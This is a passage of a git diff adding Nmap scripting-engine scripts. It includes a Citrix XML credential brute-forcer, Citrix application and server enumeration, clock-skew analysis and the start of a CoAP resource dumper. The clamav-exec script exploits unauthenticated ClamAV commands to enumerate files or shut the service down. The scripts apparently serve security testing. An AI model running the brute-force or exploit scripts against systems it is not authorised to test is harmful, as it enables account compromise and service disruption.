+-- Revised 12/02/2009 - v0.2 - Use stdnse.format_ouput for output
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"intrusive", "brute"}
+
+
+portrule = shortport.portnumber({8080,80,443}, "tcp")
+
+--- Verifies if the credentials (username, password and domain) are valid
+--
+-- @param host string or host table against which to perform
+-- @param port number or port table of the XML service
+-- @param username string, the username to authenticate as
+-- @param password string, the password to authenticate with
+-- @param domain string, the Windows domain to authenticate against
+--
+-- @return success, message
+--
+function verify_password( host, port, username, password, domain )
+
+ local response = citrixxml.request_validate_credentials(host, port, {Credentials={Domain=domain, Password=password, UserName=username}})
+ local cred_status = citrixxml.parse_validate_credentials_response(response)
+
+ local account = {}
+
+ account.username = username
+ account.password = password
+ account.domain = domain
+
+ if cred_status.ErrorId then
+ if cred_status.ErrorId == "must-change-credentials" then
+ account.valid = true
+ account.message = "Must change password at next logon"
+ elseif cred_status.ErrorId == "account-disabled" then
+ account.valid = true
+ account.message = "Account is disabled"
+ elseif cred_status.ErrorId == "account-locked-out" then
+ account.valid = false
+ account.message = "Account Locked Out"
+ elseif cred_status.ErrorId == "failed-credentials" then
+ account.valid = false
+ account.message = "Incorrect Password"
+ elseif cred_status.ErrorId == "unspecified" then
+ account.valid = false
+ account.message = "Unspecified"
+ else
+ stdnse.debug1("UNKNOWN response: " .. response)
+ account.valid = false
+ account.message = "failed"
+ end
+ else
+ account.message = "Login was successful"
+ account.valid = true
+ end
+
+ return account
+
+end
+
+--- Formats the result from the table of valid accounts
+--
+-- @param accounts table containing accounts (tables)
+-- @return string containing the result
+function create_result_from_table(accounts)
+ local result = {}
+
+ for i, account in ipairs(accounts) do
+ result[i] = ("\n %s:%s => %s"):format(account.username, account.password, account.message)
+ end
+
+ return table.concat(result)
+end
+
+action = function(host, port)
+
+ local status, nextUser, nextPass
+ local username, password
+ local args = nmap.registry.args
+ local ntdomain = args.ntdomain
+ local valid_accounts = {}
+
+ if not ntdomain then
+ return "FAILED: No domain specified (use ntdomain argument)"
+ end
+
+ status, nextUser = unpwdb.usernames()
+
+ if not status then
+ return
+ end
+
+ status, nextPass = unpwdb.passwords()
+
+ if not status then
+ return
+ end
+
+ username = nextUser()
+
+ -- iterate over userlist
+ while username do
+ password = nextPass()
+
+ -- iterate over passwordlist
+ while password do
+ local result = "Trying " .. username .. "/" .. password .. " "
+ local account = verify_password(host, port, username, password, ntdomain)
+
+ if account.valid then
+
+ table.insert(valid_accounts, account)
+
+ if account.valid then
+ stdnse.debug1("Trying %s/%s => Login Correct, Info: %s", username, password, account.message)
+ else
+ stdnse.debug1("Trying %s/%s => Login Correct", username, password)
+ end
+ else
+ stdnse.debug1("Trying %s/%s => Login Failed, Reason: %s", username, password, account.message)
+ end
+ password = nextPass()
+ end
+
+ nextPass("reset")
+ username = nextUser()
+ end
+
+ return create_result_from_table(valid_accounts)
+end
diff --git a/scripts/citrix-enum-apps-xml.nse b/scripts/citrix-enum-apps-xml.nse
new file mode 100644
index 0000000..f5fab28
--- /dev/null
+++ b/scripts/citrix-enum-apps-xml.nse
@@ -0,0 +1,154 @@
+local citrixxml = require "citrixxml"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Extracts a list of applications, ACLs, and settings from the Citrix XML
+service.
+
+The script returns more output with higher verbosity.
+]]
+
+---
+-- @usage
+-- nmap --script=citrix-enum-apps-xml -p 80,443,8080 <host>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 8080/tcp open http-proxy
+-- | citrix-enum-apps-xml:
+-- | Application: Notepad; Users: Anonymous
+-- | Application: iexplorer; Users: Anonymous
+-- |_ Application: registry editor; Users: WIN-B4RL0SUCJ29\Joe; Groups: WIN-B4RL0SUCJ29\HR, *CITRIX_BUILTIN*\*CITRIX_ADMINISTRATORS*
+--
+-- PORT STATE SERVICE
+-- 8080/tcp open http-proxy
+-- | citrix-enum-apps-xml:
+-- | Application: Notepad
+-- | Disabled: false
+-- | Desktop: false
+-- | On Desktop: false
+-- | Encryption: basic
+-- | Encryption enforced: true
+-- | In start menu: false
+-- | Publisher: labb1farm
+-- | SSL: false
+-- | Remote Access: false
+-- | Users: Anonymous
+-- | Application: iexplorer
+-- | Disabled: false
+-- | Desktop: false
+-- | On Desktop: false
+-- | Encryption: basic
+-- | Encryption enforced: true
+-- | In start menu: false
+-- | Publisher: labb1farm
+-- | SSL: false
+-- | Remote Access: false
+-- | Users: Anonymous
+-- | Application: registry editor
+-- | Disabled: false
+-- | Desktop: false
+-- | On Desktop: false
+-- | Encryption: basic
+-- | Encryption enforced: true
+-- | In start menu: false
+-- | Publisher: labb1farm
+-- | SSL: false
+-- | Remote Access: false
+-- | Users: WIN-B4RL0SUCJ29\Joe
+-- |_ Groups: WIN-B4RL0SUCJ29\HR, *CITRIX_BUILTIN*\*CITRIX_ADMINISTRATORS*
+
+-- Version 0.2
+-- Created 11/26/2009 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 12/02/2009 - v0.2 - Use stdnse.format_ouput for output
+-- Revised 12/16/2014 - v0.3 - Detect if encryption settings are minimum requirements
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.portnumber({8080,80,443}, "tcp")
+
+--- Creates a table which is suitable for use with stdnse.format_output
+--
+-- @param appdata table with results from parse_appdata_response
+-- @param mode string short or long, see usage above
+-- @return table suitable for stdnse.format_output
+function format_output(appdata, mode)
+
+ local result = {}
+ local setting_titles = { {appisdisabled="Disabled"}, {appisdesktop="Desktop"}, {AppOnDesktop="On Desktop"},
+ {Encryption="Encryption"}, {EncryptionEnforced="Encryption enforced"}, {AppInStartmenu="In start menu"},
+ {PublisherName="Publisher"}, {SSLEnabled="SSL"}, {RemoteAccessEnabled="Remote Access"} }
+
+
+ if mode == "short" then
+ for app_name, AppData in ipairs(appdata) do
+ local line = "Application: " .. AppData.FName
+
+ if AppData.AccessList then
+
+ if AppData.AccessList.User then
+ line = line .. "; Users: " .. table.concat(AppData.AccessList.User, ", ")
+ end
+
+ if AppData.AccessList.Group then
+ line = line .. "; Groups: " .. table.concat(AppData.AccessList.Group, ", ")
+ end
+
+ table.insert(result, line)
+ end
+ end
+
+ else
+
+ for app_name, AppData in ipairs(appdata) do
+ local result_part = {}
+
+ result_part.name = "Application: " .. AppData.FName
+
+ local settings = AppData.Settings
+
+ for _, setting_pairs in ipairs(setting_titles) do
+ for setting_key, setting_title in pairs(setting_pairs) do
+ local setting_value = settings[setting_key] and settings[setting_key] or ""
+ table.insert(result_part, setting_title .. ": " .. setting_value )
+ end
+ end
+
+
+ if AppData.AccessList then
+ if AppData.AccessList.User then
+ table.insert(result_part, "Users: " .. table.concat(AppData.AccessList.User, ", ") )
+ end
+
+ if AppData.AccessList.Group then
+ table.insert(result_part, "Groups: " .. table.concat(AppData.AccessList.Group, ", ") )
+ end
+
+ table.insert(result, result_part)
+ end
+
+ end
+
+ end
+
+ return result
+
+end
+
+
+action = function(host,port)
+
+ local response = citrixxml.request_appdata(host, port, {ServerAddress="",attr={addresstype="dot"},DesiredDetails={"all","access-list"} })
+ local appdata = citrixxml.parse_appdata_response(response)
+
+ local response = format_output(appdata, (nmap.verbosity() > 1 and "long" or "short"))
+
+ return stdnse.format_output(true, response)
+
+end
diff --git a/scripts/citrix-enum-apps.nse b/scripts/citrix-enum-apps.nse
new file mode 100644
index 0000000..35063ae
--- /dev/null
+++ b/scripts/citrix-enum-apps.nse
@@ -0,0 +1,159 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Extracts a list of published applications from the ICA Browser service.
+]]
+
+---
+-- @usage sudo ./nmap -sU --script=citrix-enum-apps -p 1604 <host>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 1604/udp open unknown
+-- 1604/udp open unknown
+-- | citrix-enum-apps:
+-- | Notepad
+-- | iexplorer
+-- |_ registry editor
+--
+
+-- Version 0.2
+
+-- Created 11/24/2009 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 11/25/2009 - v0.2 - fixed multiple packet response bug
+
+author = "Patrik Karlsson"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery","safe"}
+
+
+portrule = shortport.portnumber(1604, "udp")
+
+
+-- process the response from the server
+-- @param response string, complete server response
+-- @return string row delimited with \n containing all published applications
+function process_pa_response(response)
+
+ local packet_len, pos = string.unpack("<I2", response)
+ local app_name
+ local pa_list = {}
+
+ if packet_len < 40 then
+ return
+ end
+
+ -- the list of published applications starts at offset 40
+ local offset = 41
+
+ while offset < packet_len do
+ app_name, pos = string.unpack("z", response:sub(offset))
+ offset = offset + pos - 1
+
+ table.insert(pa_list, app_name)
+ end
+
+ return pa_list
+
+end
+
+
+action = function(host, port)
+
+ local packet, counter
+ local query = {}
+ local pa_list = {}
+
+ --
+ -- Packets were intercepted from the Citrix Program Neighborhood client
+ -- They are used to query a server for its list of servers
+ --
+ -- We're really not interested in the responses to the first two packets
+ -- The third response contains the list of published applications
+ -- I couldn't find any documentation on this protocol so I'm providing
+ -- some brief information for the bits and bytes this script uses.
+ --
+ -- Spec. of response to query[2] that contains a list of published apps
+ --
+ -- offset size content
+ -- -------------------------
+ -- 0 16-bit Length
+ -- 12 32-bit Server IP (not used here)
+ -- 30 8-bit Last packet(1), More packets(0)
+ -- 40 - null-separated list of applications
+ --
+ query[0] = string.char(
+ 0x1e, 0x00, -- Length: 30
+ 0x01, 0x30, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00
+ )
+
+ query[1] = string.char(
+ 0x20, 0x00, -- Length: 32
+ 0x01, 0x36, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+ )
+
+ query[2] = string.char(
+ 0x2a, 0x00, -- Length: 42
+ 0x01, 0x32, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x21, 0x00, 0x02, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+ )
+
+ counter = 0
+
+ local socket = nmap.new_socket()
+ socket:set_timeout(5000)
+
+ local try = nmap.new_try(function() socket:close() end)
+
+ try( socket:connect(host, port) )
+
+ -- send the two first packets and never look back
+ repeat
+ try( socket:send(query[counter]) )
+ packet = try(socket:receive())
+ counter = counter + 1
+ until (counter>#query)
+
+ -- process the first response
+ pa_list = process_pa_response( packet )
+
+ --
+ -- the byte at offset 31 in the response has a really magic function
+ -- if it is set to zero (0) we have more response packets to process
+ -- if it is set to one (1) we have arrived at the last packet of our journey
+ --
+ while packet:sub(31,31) ~= "\x01" do
+ packet = try( socket:receive() )
+ local tmp_table = process_pa_response( packet )
+
+ for _,v in pairs(tmp_table) do
+ table.insert(pa_list, v)
+ end
+
+ end
+
+ -- set port to open
+ if #pa_list>0 then
+ nmap.set_port_state(host, port, "open")
+ end
+
+ socket:close()
+
+ return stdnse.format_output(true, pa_list)
+
+end
diff --git a/scripts/citrix-enum-servers-xml.nse b/scripts/citrix-enum-servers-xml.nse
new file mode 100644
index 0000000..16fcf90
--- /dev/null
+++ b/scripts/citrix-enum-servers-xml.nse
@@ -0,0 +1,47 @@
+local citrixxml = require "citrixxml"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Extracts the name of the server farm and member servers from Citrix XML
+service.
+]]
+
+---
+-- @usage
+-- nmap --script=citrix-enum-servers-xml -p 80,443,8080 <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 8080/tcp open http-proxy syn-ack
+-- | citrix-enum-servers-xml:
+-- | CITRIX-SRV01
+-- |_ CITRIX-SRV01
+
+-- Version 0.2
+
+-- Created 11/26/2009 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 12/02/2009 - v0.2 - Use stdnse.format_ouput for output
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.portnumber({8080,80,443}, "tcp")
+
+
+action = function(host, port)
+
+ local xmldata = citrixxml.request_server_data(host, port)
+ local servers = citrixxml.parse_server_data_response(xmldata)
+ local response = {}
+
+ for _, srv in ipairs(servers) do
+ table.insert(response, srv)
+ end
+
+ return stdnse.format_output(true, response)
+
+end
diff --git a/scripts/citrix-enum-servers.nse b/scripts/citrix-enum-servers.nse
new file mode 100644
index 0000000..b94c51e
--- /dev/null
+++ b/scripts/citrix-enum-servers.nse
@@ -0,0 +1,145 @@
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Extracts a list of Citrix servers from the ICA Browser service.
+]]
+
+---
+-- @usage sudo ./nmap -sU --script=citrix-enum-servers -p 1604
+--
+-- @output
+-- PORT STATE SERVICE
+-- 1604/udp open unknown
+-- | citrix-enum-servers:
+-- | CITRIXSRV01
+-- |_ CITRIXSRV02
+--
+
+-- Version 0.2
+
+-- Created 11/26/2009 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 11/26/2009 - v0.2 - minor packet documentation
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.portnumber(1604, "udp")
+
+--
+-- process the response from the server
+-- @param response string, complete server response
+-- @return string row delimited with \n containing all published applications
+--
+function process_server_response(response)
+
+ local packet_len, pos = string.unpack("<I2", response)
+ local server_name
+ local server_list = {}
+
+ if packet_len < 40 then
+ return
+ end
+
+ -- the list of published applications starts at offset 40
+ local offset = 41
+
+ while offset < packet_len do
+ server_name, pos = string.unpack("z", response:sub(offset))
+ offset = offset + pos - 1
+ table.insert(server_list, server_name)
+ end
+
+ return server_list
+
+end
+
+
+action = function(host, port)
+
+ local packet, counter, socket
+ local query = {}
+ local server_list = {}
+
+ --
+ -- Packets were intercepted from the Citrix Program Neighborhood client
+ -- They are used to query a server for its list of published applications
+ --
+ -- We're really not interested in the responses to the first two packets
+ -- The third response contains the list of published applications
+ -- I couldn't find any documentation on this protocol so I'm providing
+ -- some brief information for the bits and bytes this script uses.
+ --
+ -- Spec. of response to query[2] that contains a list of published apps
+ --
+ -- offset size content
+ -- -------------------------
+ -- 0 16-bit Length
+ -- 12 32-bit Server IP (not used here)
+ -- 30 8-bit Last packet(1), More packets(0)
+ -- 40 - null-separated list of applications
+ --
+ query[0] = string.char(
+ 0x1e, 0x00, -- Length: 30
+ 0x01, 0x30, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00
+ )
+
+ query[1] = string.char(
+ 0x2a, 0x00, -- Length: 42
+ 0x01, 0x32, 0x02, 0xfd, 0xa8, 0xe3, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
+ )
+
+ counter = 0
+
+ socket = nmap.new_socket()
+ socket:set_timeout(5000)
+
+ local try = nmap.new_try(function() socket:close() end)
+ try(socket:connect(host, port))
+
+ -- send the two first packets and never look back
+ repeat
+ try(socket:send(query[counter]))
+ packet = try(socket:receive())
+ counter = counter + 1
+ until (counter>#query)
+
+ -- process the first response
+ server_list = process_server_response( packet )
+
+ --
+ -- the byte at offset 31 in the response has a really magic function
+ -- if it is set to zero (0) we have more response packets to process
+ -- if it is set to one (1) we have arrived at the last packet of our journey
+ --
+ while packet:sub(31,31) ~= "\x01" do
+ packet = try( socket:receive() )
+ local tmp_table = process_server_response( packet )
+
+ for _, v in ipairs(tmp_table) do
+ table.insert(server_list, v)
+ end
+ end
+
+ if #server_list>0 then
+ nmap.set_port_state(host, port, "open")
+ end
+
+ socket:close()
+
+ return stdnse.format_output(true, server_list)
+
+end
diff --git a/scripts/clamav-exec.nse b/scripts/clamav-exec.nse
new file mode 100644
index 0000000..258ce06
--- /dev/null
+++ b/scripts/clamav-exec.nse
@@ -0,0 +1,220 @@
+local shortport = require "shortport"
+local vulns = require "vulns"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local table = require "table"
+local io = require "io"
+local string = require "string"
+local comm = require "comm"
+
+description = [[
+Exploits ClamAV servers vulnerable to unauthenticated clamav comand execution.
+
+ClamAV server 0.99.2, and possibly other previous versions, allow the execution
+of dangerous service commands without authentication. Specifically, the command 'SCAN'
+may be used to list system files and the command 'SHUTDOWN' shut downs the
+service. This vulnerability was discovered by Alejandro Hernandez (nitr0us).
+
+This script without arguments test the availability of the command 'SCAN'.
+
+Reference:
+* https://twitter.com/nitr0usmx/status/740673507684679680
+* https://bugzilla.clamav.net/show_bug.cgi?id=11585
+]]
+
+---
+-- @usage
+-- nmap -sV --script clamav-exec <target>
+-- nmap --script clamav-exec --script-args cmd='scan',scandb='files.txt' <target>
+-- nmap --script clamav-exec --script-args cmd='shutdown' <target>
+--
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 3310/tcp open clam ClamAV 0.99.2 (21714)
+-- | clamav-exec:
+-- | VULNERABLE:
+-- | ClamAV Remote Command Execution
+-- | State: VULNERABLE
+-- | ClamAV 0.99.2, and possibly other previous versions, allow the execution of the
+-- | clamav commands SCAN and SHUTDOWN without authentication. The command 'SCAN'
+-- | may be used to enumerate system files and the command 'SHUTDOWN' shut downs the
+-- | service. This vulnerability was discovered by Alejandro Hernandez (nitr0us).
+-- |
+-- | Disclosure date: 2016-06-8
+-- | Extra information:
+-- | SCAN command is enabled.
+-- | References:
+-- | https://bugzilla.clamav.net/show_bug.cgi?id=11585
+-- |_ https://twitter.com/nitr0usmx/status/740673507684679680
+-- @xmloutput
+-- <table key="NMAP-1">
+-- <elem key="title">ClamAV Remote Command Execution</elem>
+-- <elem key="state">VULNERABLE</elem>
+-- <table key="description">
+-- <elem>ClamAV 0.99.2, and possibly other previous versions, allow the execution
+-- of the &#xa;clamav commands SCAN and SHUTDOWN without authentication.
+-- The command &apos;SCAN&apos; &#xa;may be used to enumerate system files and
+-- the command &apos;SHUTDOWN&apos; shut downs the &#xa;service.
+-- This vulnerability was discovered by Alejandro Hernandez (nitr0us).&#xa;</elem>
+-- </table>
+-- <table key="dates">
+-- <table key="disclosure">
+-- <elem key="year">2016</elem>
+-- <elem key="day">8</elem>
+-- <elem key="month">06</elem>
+-- </table>
+-- </table>
+-- <elem key="disclosure">2016-06-8</elem>
+-- <table key="extra_info">
+-- <elem>SCAN command is enabled.</elem>
+-- </table>
+-- <table key="refs">
+-- <elem>https://bugzilla.clamav.net/show_bug.cgi?id=11585</elem>
+-- <elem>https://twitter.com/nitr0usmx/status/740673507684679680</elem>
+-- </table>
+-- </table>
+--
+-- @args clamav-exec.cmd Command to execute. Option: scan and shutdown
+-- @args clamav-exec.scandb Database to file list.
+---
+
+author = "Paulino Calderon <calderon()websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit", "vuln"}
+
+portrule = shortport.port_or_service(3310, "clam")
+
+local function shutdown(host, port)
+ local status, data = comm.exchange(host, port, "SHUTDOWN")
+ if not status and data == "EOF" then
+ stdnse.debug1("Expected EOF response to SHUTDOWN command:%s", data)
+ return true
+ end
+ return nil
+end
+
+---
+-- scan(host, port, file)
+-- Sends SCAN %FILE command to clamav.
+-- If no file is specified, we query a non existing file to check the response.
+--
+local function scan(host, port, file)
+ local status, data
+
+ if not file then
+ status, data = comm.exchange(host, port, "SCAN /trinity/loves/nmap")
+ if not status then
+ stdnse.debug1("Failed to send SCAN command:%s", data)
+ return nil
+ end
+
+ if data and data:match("No such file") then
+ stdnse.debug1("SCAN command enabled.")
+ return true, nil
+ end
+ else
+ status, data = comm.exchange(host, port, "SCAN " .. file)
+ if not status then
+ stdnse.debug1("Failed to send 'SCAN %s' command:%s", file, data)
+ return nil
+ end
+ if data and data:match("OK") then
+ stdnse.debug1("File '%s' exists", file)
+ return true, true
+ else
+ stdnse.debug1("File '%s' does not exists", file)
+ return true, nil
+ end
+ end
+
+ return nil
+end
+
+local function check_clam(host, port)
+ local status, data = comm.exchange(host, port, "PING")
+ if not status then
+ stdnse.debug1("Failed to send PING command:%s", data)
+ return nil
+ end
+ if data and data:match("PONG") then
+ stdnse.debug1("PONG response received")
+ return true
+ end
+ return nil
+end
+
+action = function(host, port)
+ local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil
+ local scandb = stdnse.get_script_args(SCRIPT_NAME..".scandb") or nil
+
+ if cmd == "scan" and not scandb then
+ return "The argument 'scandb' must be set if we are using the command 'SCAN'"
+ end
+
+ --Check the service and update the port table
+ local clamchk = check_clam(host, port)
+ if clamchk then
+ stdnse.debug1("ClamAV daemon found")
+ port.version.name = "clam"
+ port.version.product = "ClamAV"
+ nmap.set_port_version(host, port)
+ end
+
+ local vuln = {
+ title = 'ClamAV Remote Command Execution',
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+ClamAV 0.99.2, and possibly other previous versions, allow the execution of the
+clamav commands SCAN and SHUTDOWN without authentication. The command 'SCAN'
+may be used to enumerate system files and the command 'SHUTDOWN' shut downs the
+service. This vulnerability was discovered by Alejandro Hernandez (nitr0us).
+]],
+ references = {
+ 'https://bugzilla.clamav.net/show_bug.cgi?id=11585',
+ 'https://twitter.com/nitr0usmx/status/740673507684679680'
+ },
+ dates = {
+ disclosure = {year = '2016', month = '06', day = '8'},
+ },
+ }
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+ local status, files = nil
+
+ if cmd == "scan" then
+ local file = io.open(scandb, "r")
+ if not file then
+ stdnse.debug1("Couldn't open file '%s'", scandb)
+ return nil
+ end
+ local files = {}
+ local exists
+ while true do
+ local db_line = file:read()
+ if not db_line then
+ break
+ end
+ status, exists = scan(host, port, db_line)
+ if status and exists then
+ table.insert(files, string.format("%s - FOUND!", db_line))
+ end
+ end
+ if #files > 0 then
+ vuln.extra_info = stdnse.format_output(true, files)
+ vuln.state = vulns.STATE.VULN
+ end
+ elseif cmd == "shutdown" then
+ status = shutdown(host, port)
+ if status then
+ vuln.extra_info = "SHUTDOWN command sent successfully."
+ vuln.state = vulns.STATE.VULN
+ end
+ else
+ status, files = scan(host, port, nil)
+ if status then
+ vuln.extra_info = "SCAN command is enabled."
+ vuln.state = vulns.STATE.VULN
+ end
+ end
+
+ return vuln_report:make_output(vuln)
+end
diff --git a/scripts/clock-skew.nse b/scripts/clock-skew.nse
new file mode 100644
index 0000000..14f80d1
--- /dev/null
+++ b/scripts/clock-skew.nse
@@ -0,0 +1,179 @@
+local datetime = require "datetime"
+local formulas = require "formulas"
+local math = require "math"
+local nmap = require "nmap"
+local outlib = require "outlib"
+local stdnse = require "stdnse"
+local table = require "table"
+
+-- These scripts contribute clock skews, so we need them to run first.
+-- portrule scripts do not always run before hostrule scripts, and certainly
+-- not before the hostrule is evaluated.
+dependencies = {
+ "bitcoin-info",
+ "http-date",
+ "http-ntlm-info",
+ "imap-ntlm-info",
+ "memcached-info",
+ "ms-sql-ntlm-info",
+ "nntp-ntlm-info",
+ "ntp-info",
+ "openwebnet-discovery",
+ "pop3-ntlm-info",
+ "rfc868-time",
+ "smb-os-discovery",
+ "smb-security-mode",
+ "smb2-time",
+ "smb2-vuln-uptime",
+ "smtp-ntlm-info",
+ "ssl-date",
+ "telnet-ntlm-info",
+}
+
+description = [[
+Analyzes the clock skew between the scanner and various services that report timestamps.
+
+At the end of the scan, it will show groups of systems that have similar median
+clock skew among their services. This can be used to identify targets with
+similar configurations, such as those that share a common time server.
+
+You must run at least 1 of the following scripts to collect clock data:
+* ]] .. table.concat(dependencies, "\n* ") .. "\n"
+
+---
+-- @output
+-- Host script results:
+-- |_clock-skew: mean: -13s, deviation: 12s, median: -6s
+--
+-- Post-scan script results:
+-- | clock-skew:
+-- | -6s: Majority of systems scanned
+-- | 3s:
+-- | 192.0.2.5
+-- |_ 192.0.2.7 (example.com)
+--
+-- @xmloutput
+-- <elem key="stddev">12.124355652982</elem>
+-- <elem key="mean">-13.0204495</elem>
+-- <elem key="median">-6.0204495</elem>
+
+author = "Daniel Miller"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "safe"}
+
+hostrule = function(host)
+ return host.registry.datetime_skew and #host.registry.datetime_skew > 0
+end
+
+postrule = function()
+ return nmap.registry.clock_skews and #nmap.registry.clock_skews > 0
+end
+
+local function format_host (host)
+ local name = stdnse.get_hostname(host)
+ if name == host.ip then
+ return name
+ else
+ return ("%s (%s)"):format(host.ip, name)
+ end
+end
+
+local function record_stats(host, mean, stddev, median)
+ local reg = nmap.registry.clock_skews or {}
+ reg[#reg+1] = {
+ ip = format_host(host),
+ mean = mean,
+ stddev = stddev,
+ median = median,
+ -- Allowable variance to regard this a match.
+ variance = host.times.rttvar * 2
+ }
+ nmap.registry.clock_skews = reg
+end
+
+hostaction = function(host)
+ local skews = host.registry.datetime_skew
+ if not skews or #skews < 1 then
+ return nil
+ end
+ local mean, stddev = formulas.mean_stddev(skews)
+ local median = formulas.median(skews)
+ -- truncate to integers; we don't care about fractional seconds)
+ mean = math.modf(mean)
+ stddev = math.modf(stddev)
+ median = math.modf(median)
+ record_stats(host, mean, stddev, median)
+ if mean ~= 0 or stddev ~= 0 or nmap.verbosity() > 1 then
+ local out = {count = #skews, mean = mean, stddev = stddev, median = median}
+ return out, (#skews == 1 and datetime.format_time(mean)
+ or ("mean: %s, deviation: %s, median: %s"):format(
+ datetime.format_time(mean),
+ datetime.format_time(stddev),
+ datetime.format_time(median)
+ )
+ )
+ end
+end
+
+local function sorted_keys(t)
+ local ret = {}
+ for k, _ in pairs(t) do
+ ret[#ret+1] = k
+ end
+ table.sort(ret)
+ return ret
+end
+
+postaction = function()
+ local skews = nmap.registry.clock_skews
+
+ local host_count = #skews
+ local groups = {}
+ for i=1, host_count do
+ local current = skews[i]
+ -- skip if we already grouped this one
+ if not current.grouped then
+ current.grouped = true
+ local group = {current.ip}
+ groups[current.mean] = group
+ for j=i+1, #skews do
+ local check = skews[j]
+ if not check.grouped then
+ -- Consider it a match if it's within a the average variance of the 2 targets.
+ -- Use the median to rule out influence of outliers, since these ought to be discrete.
+ if math.abs(check.median - current.median) < (check.variance + current.variance) / 2 then
+ check.grouped = true
+ group[#group+1] = check.ip
+ end
+ end
+ end
+ end
+ end
+
+ local out = {}
+ for mean, group in pairs(groups) do
+ -- Collapse the biggest group
+ if #groups > 1 and #group > host_count // 2 then
+ out[datetime.format_time(mean)] = "Majority of systems scanned"
+ elseif #group > 1 then
+ -- Only record groups of more than one system together
+ out[datetime.format_time(mean)] = group
+ end
+ end
+
+ if next(out) then
+ return outlib.sorted_by_key(out)
+ end
+end
+
+local ActionsTable = {
+ -- hostrule: Get the average clock skew and put it in the registry
+ hostrule = hostaction,
+ -- postrule: compare clock skews and report similar ones
+ postrule = postaction
+}
+
+-- execute the action function corresponding to the current rule
+action = function(...) return ActionsTable[SCRIPT_TYPE](...) end
diff --git a/scripts/coap-resources.nse b/scripts/coap-resources.nse
new file mode 100644
index 0000000..9009def
--- /dev/null
+++ b/scripts/coap-resources.nse
@@ -0,0 +1,317 @@
+local coap = require "coap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local stringaux = require "stringaux"
+local table = require "table"
+
+description = [[
+Dumps list of available resources from CoAP endpoints.
+
+This script establishes a connection to a CoAP endpoint and performs a
+GET request on a resource. The default resource for our request is
+<code>/.well-known/core</core>, which should contain a list of
+resources provided by the endpoint.
+
+For additional information:
+* https://en.wikipedia.org/wiki/Constrained_Application_Protocol
+* https://tools.ietf.org/html/rfc7252
+* https://tools.ietf.org/html/rfc6690
+]]
+
+---
+-- @usage nmap -p U:5683 -sU --script coap-resources <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 5683/udp open coap udp-response ttl 36
+-- | coap-resources:
+-- | /large:
+-- | rt: block
+-- | sz: 1280
+-- | title: Large resource
+-- | /large-update:
+-- | ct: 0
+-- | rt: block
+-- | sz: 55
+-- | title: Large resource that can be updated using PUT method
+-- | /link1:
+-- | if: If1
+-- | rt: Type1 Type2
+-- |_ title: Link test resource
+--
+-- @args coap-resources.uri URI to request via the GET method,
+-- <code>/.well-known/core</code> by default.
+--
+-- @xmloutput
+-- <table key="/">
+-- <elem key="ct">0</elem>
+-- <elem key="title">General Info</elem>
+-- </table>
+-- <table key="/ft">
+-- <elem key="ct">0</elem>
+-- <elem key="title">Faults Reporting</elem>
+-- </table>
+-- <table key="/mn">
